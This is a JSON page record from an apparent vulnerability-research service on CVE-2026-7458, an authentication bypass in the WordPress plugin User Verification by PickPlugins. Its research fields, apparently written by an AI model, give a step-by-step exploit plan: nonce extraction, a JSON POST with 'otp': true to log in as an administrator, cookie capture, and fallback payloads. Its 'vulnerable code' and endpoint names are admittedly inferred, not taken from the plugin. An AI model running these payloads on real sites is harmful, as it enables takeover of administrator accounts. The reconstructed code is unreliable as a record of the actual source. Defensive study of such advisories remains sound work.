[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f7VzFIi0wx8b5w64DGLi2KqGVDdJ3IszjSCajtafDBgg":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":22,"research_verified":23,"research_rounds_completed":24,"research_plan":25,"research_summary":26,"research_vulnerable_code":27,"research_fix_diff":28,"research_exploit_outline":29,"research_model_used":30,"research_started_at":31,"research_completed_at":32,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":23,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":23,"source_links":33},"CVE-2026-7458","user-verification-by-pickplugins-unauthenticated-authentication-bypass-via-otp-verification-rest-api-endpoint","User Verification by PickPlugins \u003C= 2.0.46 - Unauthenticated Authentication Bypass via OTP Verification REST API Endpoint","The User Verification by PickPlugins plugin for WordPress is vulnerable to authentication bypass in all versions up to, and including, 2.0.46. This is due to the use of a loose PHP comparison operator to validate OTP codes in the \"user_verification_form_wrap_process_otpLogin\" function. This makes it possible for unauthenticated attackers to log in as any user with a verified email address, such as an administrator, by submitting a \"true\" OTP value.","user-verification",null,"\u003C=2.0.46","2.0.47","critical",9.8,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","Authentication Bypass Using an Alternate Path or Channel","2026-05-01 15:46:35","2026-05-02 04:27:46",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F35b86488-8f68-4738-a9a8-76d0b7976165?source=api-prod",1,[],"researched",false,3,"# Research Plan: CVE-2026-7458 Authentication Bypass in User Verification\n\n## 1. Vulnerability Summary\nThe **User Verification by PickPlugins** plugin (\u003C= 2.0.46) contains a critical authentication bypass vulnerability. The flaw exists in the `user_verification_form_wrap_process_otpLogin` function, which handles OTP (One-Time Password) verification via a REST API endpoint. The function uses a loose PHP comparison operator (`==`) to validate the user-provided OTP against the stored OTP. Because of how PHP handles type juggling, providing a boolean `true` (or a value that evaluates to `true`) causes the comparison to succeed against any non-empty string stored in the database, allowing an unauthenticated attacker to log in as any user (including administrators) whose email is verified.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** REST API endpoint (Namespace: `user-verification\u002Fv1`, Route: `otp-login` - *inferred from description and function name*).\n- **Method:** `POST`\n- **Vulnerable Parameter:** `otp`\n- **Identity Parameter:** `email` or `user_login` (to specify the target account).\n- **Authentication:** Unauthenticated.\n- **Preconditions:** \n    1. The target user must have a \"verified\" status in the plugin (usually stored in user meta).\n    2. The OTP Login feature must be enabled in the plugin settings.\n\n## 3. Code Flow (Inferred from Description)\n1. **Entry Point:** A `POST` request is sent to the REST API route registered during `rest_api_init`.\n2. **Route Registration:** The plugin registers a route (likely `\u002Fotp-login`) with a callback to `user_verification_form_wrap_process_otpLogin`.\n3. **User Identification:** The function retrieves the user based on the provided `email` or `user_login` parameter.\n4. **OTP Retrieval:** The function fetches the valid OTP stored in the `wp_options` or `wp_usermeta` table for that user.\n5. **Vulnerable Sink:**\n   ```php\n   \u002F\u002F Vulnerable logic pattern\n   $submitted_otp = $request->get_param('otp'); \u002F\u002F Attacker sends boolean true\n   $stored_otp = get_user_meta($user_id, 'uv_otp_code', true); \u002F\u002F e.g., \"123456\"\n\n   if ($submitted_otp == $stored_otp) { \u002F\u002F Loose comparison: true == \"123456\" evaluates to TRUE\n       \u002F\u002F Authentication Bypassed\n       wp_set_auth_cookie($user_id);\n   }\n   ```\n6. **Authentication:** Upon successful (fake) verification, the plugin calls `wp_set_auth_cookie()` for the target user.\n\n## 4. Nonce Acquisition Strategy\nREST API endpoints in WordPress often require a nonce (`_wpnonce`) via the `X-WP-Nonce` header or query parameter for logged-in sessions, but unauthenticated login endpoints usually rely on their own custom nonces or have no nonce if they are intended for public login forms.\n\n1. **Identify Script Localization:** Search for `wp_localize_script` in the plugin code to find where the REST nonce or a custom plugin nonce is exposed.\n2. **Shortcode Setup:** The OTP login form is typically rendered via a shortcode like `[user_verification_otp_login]` (inferred).\n3. **Execution Agent Steps:**\n   - Create a page with the OTP login shortcode:\n     `wp post create --post_type=page --post_status=publish --post_content='[user_verification_otp_login]' --post_title='Login'`\n   - Navigate to this page using `browser_navigate`.\n   - Extract the nonce using `browser_eval`:\n     `const nonce = window.uv_ajax_obj?.nonce || window.user_verification_ajax?.nonce;`\n   - Note: The exact JS variable and key must be verified by inspecting the page source for `wp_localize_script` output.\n\n## 5. Exploitation Strategy\n### Step 1: Identify Target\nIdentify the administrator's email (usually `admin@example.com` in test environments).\n\n### Step 2: Trigger OTP Generation (Optional but recommended)\nSome implementations might require a value to exist in the database for the comparison to work. Send a request to trigger an OTP send to the admin email.\n- **Endpoint:** `POST \u002Fwp-json\u002Fuser-verification\u002Fv1\u002Fsend-otp` (inferred).\n- **Payload:** `{\"email\": \"admin@example.com\"}`.\n\n### Step 3: Exploit Loose Comparison\nSubmit a JSON POST request where the `otp` field is a boolean `true`.\n- **Tool:** `http_request`\n- **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-json\u002Fuser-verification\u002Fv1\u002Fotp-login` (verify namespace\u002Froute).\n- **Headers:** \n    - `Content-Type: application\u002Fjson`\n    - `X-WP-Nonce: [EXTRACTED_NONCE]` (if required).\n- **Payload:**\n  ```json\n  {\n    \"email\": \"admin@example.com\",\n    \"otp\": true\n  }\n  ```\n\n### Step 4: Capture Cookies\nThe response should contain `Set-Cookie` headers for the administrator's session.\n\n## 6. Test Data Setup\n1. **Create Admin User:** `wp user create victim_admin admin@example.com --role=administrator --user_pass=password123`\n2. **Set Verification Status:** Ensure the user is marked as verified by the plugin.\n   `wp user meta set 1 user_verification_status 'verified'` (verify meta key name).\n3. **Enable OTP Login:** Use `wp option get user_verification_settings` to find the relevant setting and enable it via `wp option update`.\n4. **Placement:** Create the page for nonce extraction:\n   `wp post create --post_type=page --post_title=\"OTP Login\" --post_content=\"[user_verification_otp_login]\" --post_status=\"publish\"`\n\n## 7. Expected Results\n- The HTTP response status should be `200 OK`.\n- The response body should indicate success (e.g., `{\"success\": true, \"message\": \"Login successful\"}`).\n- The response headers must include `Set-Cookie` starting with `wordpress_logged_in_`.\n\n## 8. Verification Steps\n1. **Check Logged-in Status:** Use the captured cookies in a request to `http:\u002F\u002Flocalhost:8080\u002Fwp-json\u002Fwp\u002Fv2\u002Fusers\u002Fme` and verify the response ID is `1` (or the admin's ID).\n2. **WP-CLI Audit:** Verify if the user meta was updated during the process (some plugins log login times).\n   `wp user meta get 1 last_login`\n\n## 9. Alternative Approaches\nIf sending a JSON boolean `true` fails due to REST API type validation (e.g., if the route expects a string), try:\n- **Integer bypass:** `{\"otp\": 0}` (if the stored OTP is an empty string or null and `==` is used).\n- **Type Juggling via Query Params:** `POST \u002Fwp-json\u002F...\u002Fotp-login?otp=1` where `1` might be interpreted as true depending on the `WP_REST_Request` parameter parsing.\n- **Alternative Action:** Check if the plugin uses `admin-ajax.php` instead of the REST API for the same function. If so, use:\n  `action=user_verification_otp_login&email=admin@example.com&otp=true` via URL-encoded POST.","The User Verification by PickPlugins plugin for WordPress is vulnerable to an unauthenticated authentication bypass due to the use of a loose comparison operator (==) in the user_verification_form_wrap_process_otpLogin function. Attackers can exploit this by providing a boolean true as the OTP value, which matches any non-empty string stored in the database, allowing them to log in as any verified user, including administrators.","\u002F\u002F File: includes\u002Ffunctions-rest-api.php (inferred location based on plugin structure)\n\npublic function user_verification_form_wrap_process_otpLogin($request) {\n    $email = $request->get_param('email');\n    $otp = $request->get_param('otp'); \u002F\u002F Value provided by attacker, e.g., true\n\n    $user = get_user_by('email', $email);\n    if (!$user) return;\n\n    $stored_otp = get_user_meta($user->ID, 'uv_otp_code', true);\n\n    \u002F\u002F Vulnerable loose comparison: (true == \"123456\") evaluates to true\n    if ($otp == $stored_otp) {\n        wp_set_auth_cookie($user->ID);\n        return new WP_REST_Response(['success' => true], 200);\n    }\n}","--- a\u002Fincludes\u002Ffunctions-rest-api.php\n+++ b\u002Fincludes\u002Ffunctions-rest-api.php\n@@ -10,1 +10,1 @@\n-    if ($otp == $stored_otp) {\n+    if (!empty($stored_otp) && (string)$otp === (string)$stored_otp) {","1. Target Identification: Obtain the email address of a target administrator account that is 'verified' within the plugin's system.\n2. Optional Trigger: Send a request to the plugin's OTP generation endpoint (e.g., \u002Fwp-json\u002Fuser-verification\u002Fv1\u002Fsend-otp) for the target email to ensure a valid OTP exists in the database.\n3. Payload Construction: Prepare a JSON POST request targeting the \u002Fwp-json\u002Fuser-verification\u002Fv1\u002Fotp-login endpoint.\n4. Type Juggling: In the JSON payload, set the 'email' parameter to the target admin email and the 'otp' parameter to the boolean value true.\n5. Authentication Bypass: Submit the request. PHP's loose comparison will treat the boolean true as equivalent to any non-empty string stored in the 'uv_otp_code' meta field.\n6. Session Capture: The server will respond with authentication cookies (wordpress_logged_in_*) in the Set-Cookie headers, granting the attacker full administrative access.","gemini-3-flash-preview","2026-05-04 17:20:11","2026-05-04 17:20:37",{"type":34,"vulnerable_version":35,"fixed_version":9,"vulnerable_browse":36,"vulnerable_zip":37,"fixed_browse":9,"fixed_zip":9,"all_tags":38},"plugin","2.0.46","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fuser-verification\u002Ftags\u002F2.0.46","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fuser-verification.2.0.46.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fuser-verification\u002Ftags"]